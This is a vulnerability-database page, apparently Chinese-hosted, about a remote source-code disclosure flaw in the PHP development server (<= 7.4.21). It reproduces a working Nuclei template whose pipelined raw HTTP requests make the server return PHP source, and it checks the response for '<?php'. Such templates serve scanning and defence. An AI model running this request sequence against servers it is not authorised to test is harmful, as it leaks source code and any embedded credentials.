php-src-diclosure: PHP Development Server <= 7.4.21 - Remote Source Disclosure

2025-08-01 PHP Development Server PoC Public

Description

A source code disclosure vulnerability in a web server caused by improper handling of multiple requests in quick succession, leading to the server treating requested files as static files instead of executing scripts.

Details

Severity
高危
Affected
PHP Development Server
Published
PoC
Public

PoC

id: php-src-diclosure

info:
  name: PHP Development Server <= 7.4.21 - Remote Source Disclosure
  author: pdteam
  severity: high
  description: |
    A source code disclosure vulnerability in a web server caused by improper handling of multiple requests in quick succession, leading to the server treating requested files as static files instead of executing scripts.
  reference:
    - https://blog.projectdiscovery.io/php-http-server-source-disclosure/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-540
  metadata:
    max-request: 2
  tags: php,phpcli,disclosure,misconfig,vuln

http:
  - raw:
      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

        GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1





      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<?php")'
          - '!contains(body_2, "<?php")'
        condition: and
# digest: 4b0a00483046022100a05ede703c7fab2dd39c01c80c8c9092ccb728954f31e070aa4535da7d0cb978022100e42d92637a9ededfcbda55e0a42060c70f93f8376be41e49fc22f1925eb16e22:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life